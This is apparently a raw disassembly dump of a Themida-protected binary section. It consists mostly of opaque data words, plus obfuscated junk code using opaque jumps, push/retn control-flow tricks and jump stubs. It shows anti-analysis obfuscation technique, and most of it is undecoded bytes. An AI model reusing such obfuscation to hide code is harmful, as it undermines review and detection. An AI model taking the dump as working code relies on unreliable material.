dd 0CB6E510h, 0AEB120BFh, 0A3923D56h, 457B000Bh, 0E42CB78Eh dd 0F305E983h, 11F1B0A4h, 0FD7AF29Dh, 17FB2375h, 0FB63E9C6h dd 0F53FD525h, 0A9E4ADFDh, 3422916Ch, 0AC7ACFB7h, 0AD29B723h dd 0FD7A1A20h dd 7C277975h, 0E42F6898h, 0D8FFA073h, 5E98321h, 0DB8BA4F3h dd 75A4BD8Dh, 8D8D0619h, 619FE43h, 156644B8h, 0C1CF2B32h dd 73102E9h, 0C783C8D0h, 0F6754904h, 0FE9h, 0E83DA900h dd 91AF7010h, 7DF2A8D7h, 8B1EBCDCh, 7BDB8060h, 14E9h, 0EDBD1A00h dd 0DF6B3C38h, 7AD49E51h, 5A1C0D7Fh, 90F8AE63h, 0BE96153h dd 25000000h, 21A966F6h, 0A525EFB5h, 75688D15h, 89000072h dd 0E9582404h, 0Bh, 62D0F029h, 5853AEACh, 83364B41h, 121B91BDh dd 9750006h, 17DDBD83h, 74000612h, 8B535019h, 411B8C0h dd 85890000h, 6122295h, 0AE769D8Dh, 0D3FF0614h, 0BD83585Bh dd 61217DDh, 50177400h, 411B853h, 85890000h, 6122295h dd 0AB179D8Dh, 0D3FF0614h, 5660585Bh, 0A6D0F0BBh, 0B9665A56h dd 0F61F3CEh, 185h, 14E9F500h, 0B3000000h, 4E134B0Ch, 742BEA45h dd 0B9A8C4EAh, 12FF82A9h, 81FAE550h, 4ECh, 24048900h, 8DF8F958h dd 1A021B8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0A1DDB2A0h, 0AAF68173h, 892549EDh dd 1209A18Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 8AA52A05h, 585C7E2h, 0BC061205h dd 60000067h, 0D38B0CB6h, 0D985C761h, 6121Bh, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 7ED2C355h, 0D678C681h, 0B5FF482Dh, 6122381h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E2C35242h dd 0CD1C2EACh, 0F9A23B5h, 8589FABFh, 612005Dh, 1B3195FFh dd 0CE810612h, 41A05E07h, 1EE9BD01h, 6A0612h, 19CD95FFh dd 0C08B0612h, 221539EBh, 53DEB198h, 7D362008h, 0AB680778h dd 9B221680h, 98E17958h, 1BEC0C26h, 0BF76FA4Ch, 0A74F794Eh dd 50D2791Bh, 0C8BFA025h, 0E328D0D6h, 64FAEA6Ah, 85F14692h dd 0E85ADBACh, 0Fh, 0E7A0BD7Fh, 697D81ABh, 650D3E75h, 8B50DF24h dd 958B5ED8h, 6120901h, 60F1C681h, 0BF0F0000h, 0BFCEh dd 0FFFC0000h, 81663734h, 58A929CBh, 0C810Fh, 850F0000h dd 6, 541BD89h, 0F0810612h, 1FD2B626h, 816AC780h, 6034DFF0h dd 8F0F6009h, 0 dd 5E8h, 875D1300h, 8D8B0D25h, 6121501h, 0C0816158h, 73CA94E2h dd 30D1958Bh, 51500612h, 0CF8B6660h, 1FCE8166h, 8F5961F2h dd 9D0B3E04h, 6120E45h, 2DEF81F8h, 8B4D6941h, 1210F595h dd 29C78106h, 0F4D6941h, 685h, 0F59D0100h, 81061214h, 0FF9FC4FFh dd 70850FFFh, 8BFFFFFFh, 0EDE9D1h, 66600000h, 4A8D88Ch dd 0DF840Fh, 0B58B0000h, 6123185h, 0F00FE83h, 2285h, 7185C600h dd 45061228h, 72696968h, 0B1B5FF8Eh, 8D061203h, 157F3585h dd 89D0FF06h, 1230FD85h, 80F08B06h, 850FE93Eh, 31h, 8725858Dh dd 0D0FF0617h, 9C1BD8Bh, 0C7810612h, 1184h, 3185B58Bh dd 0F7870612h, 8B9h, 8BA4F300h, 123185B5h, 0C2858D06h dd 0FF06163Eh, 79B58BD0h, 83061229h, 850F00FEh, 22h, 287185C6h dd 68540612h, 0FF4EBEF4h, 3B1B5FFh, 858D0612h, 6157F35h dd 8589D0FFh, 6122979h, 3E80F08Bh, 3A850FE9h, 8B000000h dd 122979B5h, 25858D06h, 0FF061787h, 0C1BD8BD0h, 81061209h dd 1184C7h, 8C78300h, 2979B58Bh, 0F7870612h, 8B9h, 8BA4F300h dd 122979B5h, 0C2858D06h, 0FF06163Eh, 8DC361D0h, 1A031C85h dd 91858906h, 0E9061218h, 12h, 13A4B7E2h, 3 dup(0) dd 83E90000h, 68000004h, 61A0514h, 0F87BC4E9h, 59C68FFh dd 0BAE9061Ah, 68FFF87Bh, 61A06F7h, 0F87BB0E9h, 0FF6B5EFFh dd 137D7161h, 2B8D8575h, 41A79D8Dh, 56BEB3A3h, 7EEC4BB8h dd 93832189h, 0AA9A389Ch, 0C3B351B1h, 0CECD6BC9h, 0BD4FC6Dh dd 0C8DB7603h, 0B21A0F76h, 0A1FFF9AFh, 0E47F6E03h, 467C839h dd 58A669FBh, 6CDDD7ADh, 0FB0CD3FBh, 0F48CDA75h, 0E0443BF1h dd 92FBDE48h, 5B5EC8BCh, 0FC289B05h, 3475FB0Bh, 50A77B5Bh dd 97DE2F80h, 2D5h, 5982AD3Dh, 0B324CF52h, 69FB2F16h, 6CBFB907h dd 989E88C7h, 731EA5A8h, 72542502h, 23267465h, 6542C5C8h dd 534A1468h, 0AA0A03FBh, 55DE6712h, 4E90BCE4h, 7D75C36Dh dd 44B72187h, 6760C6C3h, 7B51FC4Ah, 95852381h, 234B3D9Bh dd 0C87DD282h, 2ED40E5h, 30230000h, 423626C4h, 524A3AD8h dd 6C6252F0h, 83786806h, 0B1107D1Bh, 48E64E43h, 5FFD6158h dd 7816766Fh, 92308E88h, 99C13293h, 0A076030Ch, 0EA5C3B8Dh dd 0D9BDB68Ch, 0A7248E43h, 9C721DA4h, 0E83E41A5h, 4482F37Eh dd 4B69F389h, 877C52FDh, 55DE811Fh, 89335BCCh, 0EC3A7603h dd 3893159h, 0F2EA3876h, 3E9497FBh, 9F07FCD4h, 88C1339Ch dd 0F9D4BF67h, 83A2157Fh, 91963125h, 9D473997h, 0BA7F6461h dd 26532D7h, 0B8AB0000h, 0CABEAE4Ch, 0DAD2C260h, 0F4EADA78h dd 0B00F08Eh, 399805A3h, 0D06ED6CBh, 0E785E9E0h, 9EFEF7h dd 1AB81610h, 2149BA1Bh, 2876030Ch, 636AC315h, 86C435E0h dd 0DD69F303h, 44AE0E07h, 0C3141765h, 76030B97h, 4216F6CFh dd 0DE3782EBh, 1A432h, 2A008900h, 163ED131h, 2C760303h dd 85D3D234h, 150FDF1Bh, 4FEB4B7h, 787308A6h, 10CD3EE9h dd 4169FB1Eh, 739FF0F3h, 0AB75FB22h, 9A70F2D2h, 0E93F42A0h dd 22A5CD3Eh, 66B475FBh, 99C81FFCh, 4BBDDE2Fh, 6695E32h dd 8EC7316Bh, 3Fh, 80636A34h, 0C91F228Ch, 27FD8631h, 11C7CA32h dd 0B51FB719h, 0FB114142h, 777AC869h, 59169C0Eh, 0E7ACB043h dd 0D367483Ch, 43AD2BFAh, 0FBD5A4D0h, 2303DC75h, 3048F84Fh dd 0B93FDEh, 0FE50000h, 0F9635715h, 0B3A85E61h, 9892484Bh dd 0C3B98F3Ah, 0BA305FDh, 4CB61E13h, 0EE770069h, 0E907557Dh dd 8316646Fh, 6FE9075Bh, 0D2AA1462h, 0BC261AD8h, 0D46CCAC4h dd 0F65E5329h, 0B5339DF3h, 0E9022C2Ah, 92F0EA6Fh, 0D56C5FF4h dd 0FE2FA12Ah, 6A3BADAAh, 0D373E650h, 3A69FE5Dh, 766B41ECh dd 988D630Eh, 5848C630h, 0B85FFF63h, 2BF17A0Ch, 731A193h dd 270A7336h, 10A82h, 0A7130600h, 0BB251909h, 0D3352D1Dh dd 0E94F4535h, 0FE665B4Bh, 2694F360h, 3B2BC931h, 5242E044h dd 6B5BF959h, 76751371h, 0D7CA415h, 70837603h, 0B21A0F1Eh dd 0D63A3107h, 4FEEE6Ch, 0FB408A6h, 0FEB4B715h, 6508A604h dd 8C37958Fh, 0E907F31Bh, 42ACFA6Fh, 0E6DBC6C5h, 8D257B7Eh dd 4B9871E2h, 0B30169FBh, 0D53D3208h, 150AE06Bh, 58840FADh dd 0BB75FB54h, 608D2749h, 2DD8A4ADh, 0FB8194BCh, 0E34D9B75h dd 5F53110Bh, 0B1D94AF5h, 0B875FB81h, 4434D26Ah, 3FE4E74Fh dd 6Fh, 0E0636AEDh, 0F408C335h, 0F8474F3Fh, 5092038Eh dd 7F69F39Dh, 0DF77D9D1h, 0CE2C26DCh, 0E8464030h, 583594E5h dd 1B88072h, 0CFC99F21h, 0BEB86E71h, 865EC860h, 11832E8Ch dd 635C2DF7h, 38A56F03h, 630684EEh, 3134948Dh, 9F9971DBh dd 0C7C09641h, 641AFD67h, 0AE05086Eh, 46400FEFh, 0D1A74AE8h dd 350D77D9h, 35DADD3Bh, 3, 0F5995E3h, 0F7ADB01Ch, 0E69C9FFDh dd 0D48A8DEDh, 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh dd 6C222587h, 4D0B0E78h, 81E28952h, 4C2h, 4EA8100h, 87000000h dd 895C2414h, 1E68243Ch, 8900003Eh, 9F68241Ch, 89000079h dd 0BF572434h, 7EA344E1h, 23E2E781h, 0DFF726C6h, 8147DFF7h dd 0F94391EFh, 1FF7814Eh, 50D192B9h, 0C389F889h, 8B545F58h dd 0C4832434h, 1A6F6804h, 1C890000h, 8468F24h, 5E2434FFh dd 4C481h, 1C8B0000h, 0E0895024h, 405h, 40500h, 4870000h dd 5AE95C24h, 3DFFF877h, 269F39D9h, 7C814869h, 689EBD65h dd 26B8BDA8h, 3061A08h, 1DE0FFC5h, 0C00F3695h, 7334F8B0h dd 0F636870Ah, 94035A44h, 0FB192FCFh, 0BF6F348Eh, 7D5605F5h dd 0E825E86Bh, 14h, 1BC7544Bh, 0AF10CD59h, 3D1BABB1h, 48E8C592h dd 5AF950D6h, 0F8BF0F5Bh, 7364C381h, 890F0000h, 1Fh, 198C0Fh dd 13E80000h, 97000000h, 0F5D0F9B6h, 3B34F330h, 750115C1h dd 8E5AE66h, 0BA5875B2h, 0 ; --------------------------------------------------------------------------- pusha jle loc_5C734D jo $+6 loc_5C734D: ; CODE XREF: Themida_:005C7341j jmp loc_5C735D ; --------------------------------------------------------------------------- push 0D6DD99F0h rcl dword ptr [ecx-1979E7CDh], cl loc_5C735D: ; CODE XREF: Themida_:loc_5C734Dj popa loc_5C735E: ; CODE XREF: Themida_:005C73EBj push dword ptr [edx+ebx] mov esi, 7286DADFh pop ecx jmp loc_5C7374 ; --------------------------------------------------------------------------- cdq fimul word ptr [ebx] lodsb and [edx+53h], esp lodsb loc_5C7374: ; CODE XREF: Themida_:005C7367j sub ecx, 2DD34DD3h jp loc_5C7381 cmc loc_5C7381: ; CODE XREF: Themida_:005C737Aj xor ecx, 5E9F9240h mov eax, 14A82CD1h add ecx, 13C53EC7h jmp loc_5C73A6 ; --------------------------------------------------------------------------- db 14h dd 71088A9Dh, 1D935C5h, 4B28C851h db 0EFh, 1Bh ; --------------------------------------------------------------------------- loc_5C73A6: ; CODE XREF: Themida_:005C7392j mov [ebx+edx], ecx or si, 0D876h jmp loc_5C73C4 ; --------------------------------------------------------------------------- db 4Ch dd 85EE2C5h, 52CBD6C5h, 0CA55E1ECh, 0B797E517h ; --------------------------------------------------------------------------- loc_5C73C4: ; CODE XREF: Themida_:005C73AEj sub edx, 30B55FD6h js loc_5C73D9 jno loc_5C73D9 mov ax, dx loc_5C73D9: ; CODE XREF: Themida_:005C73CAj ; Themida_:005C73D0j add edx, 30B55FD2h jl $+6 cmp edx, 0FFFF8D94h jnz loc_5C735E mov ax, dx lea ecx, [ebp+61A0ABDh] push 0 push ebx call sub_5C7405 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C7405 proc near ; CODE XREF: Themida_:005C73FDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5C7405 endp ; --------------------------------------------------------------------------- sub eax, 42A7600Eh db 36h scas dword ptr es:[edi] xchg esp, [edi+3Bh] mov [ebp+61209A1h], ecx mov dword ptr [ebp+6120505h], 5D18h push 0 push esi call sub_5C743A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C743A proc near ; CODE XREF: Themida_:005C7432p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5C743A endp ; --------------------------------------------------------------------------- dw 0C7EDh dd 121BD985h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0FA393AD7h, 0B5FF1DD1h dd 6122DB9h, 10E950h, 50F10000h, 97184CAh, 92FBC934h, 5C930BC3h dd 0FF5FBA48h, 121B3195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0D605DA81h dd 0FB5240Bh, 28Dh, 60D88A00h, 3C5B589h, 61FC0612h, 95FF006Ah dd 61219CDh, 4FEBC08Bh, 7AF27F79h, 1197FFEDh, 0AE5C797Dh dd 2AE9D643h, 0A23F58B1h, 5A10D239h, 0B6282D7Fh, 0F51B2304h dd 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0FAB90B51h, 505AD351h dd 3D7627Dh, 2DF2F870h, 46F08FFDh, 27C7B067h, 3E83BED2h dd 13469473h, 0E92B0B9Bh, 1Ch, 5205B12Bh, 416C7452h, 636F6C6Ch dd 48657461h, 706165h, 140000h, 0 ; --------------------------------------------------------------------------- jmp loc_5C865D ; --------------------------------------------------------------------------- push 61A0D25h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A0E16h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A1057h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A116Eh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A1486h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A1541h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A158Fh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A16BAh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A174Eh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A17FCh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A19C2h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 61A1AB0h jmp loc_54EA15 ; --------------------------------------------------------------------------- db 0BEh, 0CBh, 5Fh dd 73DDD1C1h, 8BEDE5D5h, 0A107FDEDh, 0B61E1303h, 0DE4CAB18h dd 0F3E381E9h, 0AFA98FCh, 2313B111h, 2E2DCB29h, 12345CCDh dd 283B7603h, 8F865CD6h, 0BACD8D2Fh, 0AD454610h, 13716B43h dd 349E9268h, 3731E7CAh, 2720D6D9h, 0AE6DC4C7h, 0A705FFCEh dd 5C241909h, 0A9FF0264h, 89837311h, 0DA72D2CBh, 0C92721D7h dd 0C97962Bh, 0B833F061h, 146269FBh, 359F9369h, 8F72DC32h dd 0FB88123Eh, 0CF2F2875h, 0BC1E16CCh, 0C3A362B9h, 88A8D041h dd 69B775FBh, 4222FBD1h, 3000176Eh, 40360CDEh, 1781D7DAh dd 2EDEh, 636A8400h, 7345CCDh, 8D3B6FE9h, 0A0983098h, 0FFAA42ACh dd 0FB118D8Eh, 6B6EBC69h, 0FB1EEE1Ah, 6D4D2675h, 2F924299h dd 0DA89DEh, 0F2F0000h, 0FEB4B715h, 0E8484109h, 9D974D50h dd 793BB2Ch, 4C9A6FE9h, 1FBB1B4h, 3586F8A3h, 34E664D5h dd 0CFD23A2Fh, 0F977E179h, 0E9EC6F6Eh, 4DABA56Fh, 4AF30A2h dd 1E396FDEh, 0F8BE8E8Fh, 0AB15ADDDh, 0E5433D2Dh, 1840B13Ah dd 276FE907h, 318C6FD9h, 73FCA73Ah, 75179EAh, 0A586FE9h dd 6842DA0h, 13E969FBh, 5EB4B71Dh, 1CC715F4h, 84EE4C46h dd 0E77A7106h, 0A99CCB3Ch, 63B1700Fh, 85EDE2B8h, 8702F7E7h dd 0D7EFA015h, 992C037Bh, 6FEFEE71h, 0A0922A78h, 79435640h dd 7B8F3417h, 3400000Eh, 4737D541h, 5B4BE953h, 73630163h dd 8979177Dh, 218E2C94h, 0F75F54C6h, 0E726959h, 27878070h dd 419F9989h, 0D243A4A3h, 760314AAh, 0F4C9EB1h, 2414B21Ah dd 0DA2ECC2Ah, 35E0636Ah, 0FB11C3C4h, 0CEC89E69h, 5A1B6D70h dd 10CC1105h, 9675DF77h, 0C8F44548h, 0DE75FBD4h, 0CD8386E4h dd 557174D4h, 0F4EDBC9Ch, 4D26FC94h, 4842996Dh, 0BE89DE30h dd 2F000000h, 0CB7150Fh, 0D9DC3E36h, 80361983h, 0CF20238Bh dd 6FE902D0h, 8E2C8A84h, 4346A49Eh, 6A62E5E8h, 4FDB1BC8h dd 0CDD0362Ch, 9C47DF77h, 0FF69D1C6h, 715A0374h, 156369FBh dd 58EBE277h, 564E24ADh, 0F9178AF4h, 68701016h, 0C7466EDFh dd 7556FEFh, 0C570BE9Dh, 0ECAECA3Ch, 0C3D59087h, 248C8159h dd 140DE386h, 0F15BB1B4h, 635C2419h, 12AA0003h, 4432BE20h dd 5AA8D79h, 0D8Ah, 28C63225h, 3CDA4438h, 54F2544Ch, 6A086E64h dd 7F1D857Ah, 5045B712h, 635A4AE8h, 787161FFh, 908A7A18h dd 34959432h, 3159BC3h, 3D8FA276h, 14B21A0Fh, 48B92A24h dd 6FE90720h, 0AB49E12Fh, 0B7150F57h, 0A604FEB4h, 2AD489FBh dd 9F925483h, 0ED4346A6h, 0E26DEB55h, 6FE94EB6h, 1F14D2CCh dd 0C65EB4B7h, 0E03E3828h, 0CF2D27DDh, 5A2016CCh, 6366FE64h dd 4C4FB9ADh, 0D65838EFh, 0E94E3D65h, 66FE4C6Fh, 0ED6F4F08h dd 4ECBF364h, 84D26FE9h, 2B2E988Ch, 99936BD5h, 51A89D3Bh dd 98D81DC2h, 9Fh, 0E0636A3Eh, 0DED6AC35h, 2BC3231Ch, 18194EC1h dd 0DA2869FBh, 185A86D7h, 0B99275FBh, 8FAE05D9h, 78F5DE2Fh dd 9B000000h, 0E9074774h, 0DCD4AA6Fh, 9893107Ah, 0A0ED5E09h dd 0F169FB28h, 201505A3h, 280C34A5h, 0C51375FBh, 0DCCF2A2Dh dd 0A0119A45h, 75FB2878h, 8DB52687h, 9C75FB28h, 0C14CB64Eh dd 0D415B50h, 0F19CEA70h, 0BEFA897Fh, 0F45EC22Bh, 318D8676h dd 3F44FC13h, 0CFD26A27h, 3FEA7974h, 0FC26BDCEh, 0D0CAA069h dd 1E847A72h, 0E987D5B4h, 0C95CD446h, 5D472A11h, 9192CF3h dd 5CDA0000h, 73A62D3h, 0F3416FE9h, 9FA202FBh, 6B62DF49h dd 33A42DD8h, 6FE9070Bh, 0BEBD2319h, 0A7B0670h, 69FB2605h dd 0A2F3F644h, 75FB2A76h, 21F5D5AEh, 0DE2FA1CAh, 1A11h dd 865CB700h, 0D3292C8Eh, 7CAF669h, 0E8E06FE9h, 36CE2C26h dd 0FC33B79Eh, 6A65FFFFh, 0C435E063h, 69FB111Fh, 4C9DA0EEh dd 75FB1D20h, 0D6D94136h, 42C62C20h, 0E6612B13h, 167F821Ah dd 0FB2A7DA5h, 9F3E8C75h, 0C39908E8h, 0B2880AEAh, 0FF5558BAh dd 0A261B895h, 0C9A8DE2Fh, 4E000004h, 535A8FADh, 0C69C25D0h dd 156B6ECCh, 0E9075A82h, 0A913616Fh, 2F10AD1Eh, 0B30169FBh dd 0E17D9608h, 25D0742Ch, 8F8EE1BBh, 20CC3E43h, 0F9979A2Dh dd 0E5D6B0C6h, 1C31A24Dh, 0ED19D239h, 4A419C9Fh, 0AD830CB7h dd 0F74D50B8h, 0A2A507FFh, 166FE24Ch, 8713C1ADh, 0BEB88E39h dd 0D8D2C260h, 0F14C887Ah, 8EBC979h, 0B4963h, 7736600h dd 1B857969h, 33958D7Dh, 49AFA595h, 5EC6BBABh, 86F453C0h dd 9B8B2991h, 0B2A240A4h, 0CBBB59B9h, 0D6D573D1h, 17DC0475h dd 0D0E37603h, 0B7150F7Eh, 7E754BB4h, 3833B01Ah, 0BCE5CADh dd 5500D057h, 0E915BCE4h, 0DD75C36Fh, 1B84C132h, 479569FBh dd 5ACDC69Ch, 0FB0BC1E9h, 0E27AC875h, 0FB5B5444h, 0B7FA7F8h dd 0CEFA75FBh, 3175FB1Bh, 0FCFF655Bh, 0CCBF3CA6h, 54198A35h dd 0C9700D20h, 989BF9F3h, 2096BE2Fh, 57A56FE9h, 287655BFh dd 0C233BC25h, 6FE9209Ah, 635B53A1h, 3EA8FE01h, 0E9209FCBh dd 1EFED76Fh, 1D93F34Ah, 263AD8h, 5CE00000h, 73A62D3h dd 0F3416FE9h, 82010C89h, 6DAF65D7h, 0ED91C4E0h, 5287F883h dd 7369FB74h, 327D2225h, 2B000000h, 5BCD636Ah, 5945B916h dd 537B0E9Eh, 5A6FE952h, 0C8F0610Ch, 0D76FE952h, 7046F189h dd 0F768137Bh, 6FE952CFh, 9B2690DEh, 0FB59712Ah, 474A9869h dd 0B7150F2Dh, 4A3CFDC5h, 963B1E79h, 0A32h, 801E8A7Dh dd 94329C90h, 0AC4AACA4h, 0C260C6BCh, 0D775DDD2h, 0A89D0F6Ah dd 0BBB2A240h, 0D0C9B957h, 0E8E2D270h, 8CEDEC8Ah, 318F31Bh dd 95E7FA76h, 35E0636Ah, 0FB201FC4h, 4A40EE69h, 24278F84h dd 9B9E36CEh, 0EF8DEBE5h, 0B455B764h, 8729284Eh, 422AEE16h dd 0B8E05191h, 0C791422Ah, 942C7A79h, 0D76A61F6h, 0A91AA32Ch dd 91422A81h, 5DD03A88h, 8B5431A4h, 0AE6467B5h, 1DB250BAh dd 77E8932Eh, 914636B2h, 318285D3h, 91422D05h, 0ACA47A3Dh dd 87F1474Ah, 0DB3206E6h, 22F976A4h, 108h, 6FEA5CC8h, 9C9C1EB0h dd 0EBE25FC9h, 4E24AD58h, 1487F159h, 69FB996Fh, 974D509Eh dd 0B1A13F9Dh, 9C04F9B7h, 86EEE399h, 0A85E5AEEh, 0DEEBA517h dd 4DA4346h, 4DA3A610h, 72C370E3h, 7B324EB4h, 97A7199Bh dd 0B852C4F6h, 0BFE75803h, 0CE914283h, 443E1680h, 5E5848E6h dd 0FFACFD00h, 1569FBB8h, 4BABD1Bh, 42A6A90Dh, 0A13AA989h dd 393302E2h, 534D3DDBh, 9697F2F5h, 5DB640Fh, 50A6A90Fh dd 4D2B73E6h, 287275FBh, 0D338F501h, 50EE864Eh, 8631B0BBh dd 0DB3E415h, 8A835970h, 93E1C02Ah, 82E0DA90h, 9CFAF4E4h dd 93084899h, 4AD6FE9h, 6BD5352Eh, 211BEACAh, 0D49A25C3h dd 3D1BBDCAh, 2111AF42h, 75C6C927h, 5E03549Dh, 0B122AB4Ch dd 61FC1989h, 37D84290h, 308E8857h, 56B6AF85h, 1593FD53h dd 0CACD2B25h, 3AE57C6Fh, 84E4DBB1h, 0B5C492Dh, 0A3A63E18h dd 8B70E34Dh, 0FA5C0EECh, 552F0EACh, 0DD000000h, 5CCD636Ah dd 6FE90734h, 0AA55ED3Bh, 797CDAD4h, 0BD2EB923h, 69FB3088h dd 2EA04B99h, 0BF300916h, 75FBE397h, 41C458A6h, 0A78AF451h dd 3D33FDF1h, 0E67ED4D7h, 0DACFA548h, 0AF196F72h, 865DD83Bh dd 527AEB85h, 5975FB92h, 57C8730Bh, 75FB9227h, 35DF846h dd 19B7150Fh, 4FFA8984h, 1A1D8379h, 5ECF5AC4h, 69FB003Dh dd 0F1514A20h, 0AF5AA887h, 0E280E0D9h, 1586F9F2h, 75FB0DEDh dd 1316AEFCh, 832EB5B8h, 5053B5ADh, 7C0590FAh, 0F7EDADA6h dd 0A0388E91h, 1386C336h, 62EB700Dh dd 0E913C9F1h, 2922D06Fh, 0D870C6C9h, 96418F6Eh, 5F62CCC0h dd 74C0DB0Dh, 51E91CA0h, 87B304E7h, 0F86FE9DFh, 0B5150EF5h dd 19C45CB2h, 0FBE3E3A8h, 29D42269h, 0DC072FA0h, 0C81675FBh dd 0A0127B5Eh, 0C1563B27h, 970A74B3h, 75FB706Bh, 16EACAA3h dd 0DE2FE3BFh, 86E4DEB4h, 55E31Ch, 5C890000h, 8C8DDDEAh dd 6D9C40EDh, 3841837h, 82223A6Fh, 30C50753h, 0BAB12E98h dd 0D46CD0C7h, 0D1CAA029h, 85186E71h, 6FE9175Dh, 29B41E6Ch dd 0FB4083B8h, 0FC6DF669h, 75FB40D4h, 29677046h, 504F0024h dd 0AF47ABA2h, 15186645h, 1870h, 4F9CF00h, 6AF6329Ch, 0AC35E063h dd 137DDDD6h, 0FB0EE7A0h, 0A5A8F669h, 0B7150F8Bh, 4A3CF3C5h dd 8C311479h, 71Ah, 9836A295h, 0AC4AB4A8h, 0C462C4BCh dd 0DA78DED4h, 0EF8DF5EAh, 0C0B52782h, 0D3CABA58h, 0E8E1D16Fh dd 0FAEA88h, 0A40504A2h, 31B0B33h, 0ADFF1276h, 404B80ADh dd 484016C1h, 238DE3E6h, 2E8A2798h, 317B69FBh, 53DF72A8h dd 3A7004F0h, 80496F48h, 156862FAh, 0B3C23AADh, 0E9942F1Eh dd 4F8C9B78h, 0F19CEA2Eh, 0BBB88C7Fh, 339D37EAh, 6FF6F550h dd 0DD124245h, 0DC04754Eh, 0E3322F72h, 0BA65FD95h, 41A8C849h dd 8833812Ch, 0AF5AB8B2h, 4977123Dh, 6AD4E4BFh, 8CD749ECh dd 2460BBA9h, 0EA7AAD17h, 45DD37A8h, 0AF0903DBh, 8FA3BDF4h dd 2E20B860h, 0B4F58888h, 5FEB9073h, 50000006h, 6353F15Dh dd 7767056Fh, 8F7F1D7Fh, 0A5953399h, 3DAA48B0h, 137B70E2h dd 2A8E8575h, 43A39C8Ch, 5DBBB5A5h, 0EE5FC0BFh, 76031CC6h dd 0F70C2D5h, 54A9BB15h, 0F3C953E6h, 0E9265A82h, 7B13616Fh dd 1EBBF1E3h, 492C794Ah, 611A4h, 3FAB9E00h, 53BDB1A1h dd 6BCDC5B5h, 81E7DDCDh, 96FEF3E3h, 0BE2C8BF8h, 0D3C361C9h dd 0EADA78DCh, 3F391F1h, 0E0DAB09h, 1C143CADh, 81B7603h dd 0B7150FB6h, 0CF5259B4h, 0E61B324h, 0FEAC69F3h, 6A08A00Ah dd 0A04BD6D5h, 150C5E2Fh, 342D0370h, 418B6AD4h, 616F2Ah dd 0F09B3399h, 53CEF667h, 8FDD6FF1h, 0C5F14225h, 0DB6FF153h dd 0C67C7FE5h, 4C686BCFh, 0CE48B393h, 0B36D7B47h, 0EDB0861Eh dd 6DCBF364h, 84D26FF1h, 0C599791Ah, 0D825E46Eh, 0CDB5h dd 81AD5B00h, 756E5558h, 0E2B5D19h, 7D150560h, 0E63961D2h dd 0F2406FE9h, 0A13EAF5Ah, 7069FC0Dh, 40057722h, 748F705h dd 64B791FBh, 0A7003622h, 4EB6AB81h, 0E8BF54Bh, 0CC2A241Fh dd 3188934h, 2233106Ah, 7776D1D4h, 47B841ECh, 3EF00A1Fh dd 0EB76E02Eh, 0CF978C62h, 186E71DBh, 4AA31680h, 0A739037Dh dd 7679D7D1h, 8DD7B620h, 6CB9A882h, 0D47F17AAh, 2BAA04FEh dd 8AEB6208h, 49B1A69Eh, 292313B1h, 0F64141CFh, 60F86D4Dh dd 3781AC6Eh, 17BC9FB0h, 4E6h, 0CC6AD6C9h, 0E07EE8DCh dd 0F896F8F0h, 0EAC1208h, 23C1291Eh, 0F4E95BB6h, 7FEEE8Ch dd 1C1505A3h, 342E1EBCh, 0D83938D6h, 31D3F67h, 0E93B4E76h dd 8F20h, 636ACE00h, 8C248A80h, 0E2E70E1h, 0B5969F3h, 32908A60h dd 4CAAA494h, 4A4218A1h, 0FC8FE5E8h, 760312D4h, 0D2362DDBh dd 92EDD03Ah, 0EC5D089Bh, 701531CFh, 92EDF03Eh, 0EC5D089Bh dd 6A033ADFh, 0F3B3AC82h, 3E9497FDh, 628AFBA6h, 69760329h dd 84D2B11Bh, 301A7E92h, 31D6B973h, 452h, 60FE6A5Dh, 74127C70h dd 8C2A8C84h, 0A240A69Ch, 0B755BDB2h, 887DEF4Ah, 9B928220h dd 0B0A99937h, 0C8C2B250h, 6CCDCC6Ah, 31ED3FBh, 75C7DA76h dd 9FDD35Ch, 0B3469C9Fh, 6FE9078Bh, 74D75E6h, 0E5C6FE9h dd 0E457C10Fh, 6FE907BCh, 0E907032Fh, 54DD666Fh, 0E907BBE3h dd 0E174C26Fh, 6FE907B9h, 0BA1812C0h, 303BB822h, 1B9406B1h dd 0C385219h, 778036Dh, 69F3E7B5h, 4ED782D0h, 3D9B5DDh dd 0C76C476h, 0F5EAC029h, 399F958Dh, 3FFDF7CFh, 2B8D8547h dd 373AD228h, 0D9355DCEh, 0F6447603h, 3AD4C65Eh, 0F1732F6Ah dd 3A4690Eh, 180B0000h, 2A1E0EACh, 3A3222C0h, 544A3AD8h dd 6B6050EEh, 99F86503h, 30CE362Bh, 47E54940h, 60FE5E57h dd 7A187670h, 81A91A7Bh, 8876031Eh, 150F2375h, 754BB4B7h dd 36B31D7Bh, 9001AC37h, 69FB13C3h, 43E684D2h, 136364D1h dd 0B5606C37h, 0FBB71C44h, 6BD52375h, 4DBEF5F8h, 0BA22177Ch dd 6F372C1Ch, 57C1B577h, 0CE66BCBFh, 0E27170CBh, 0D5CBA144h dd 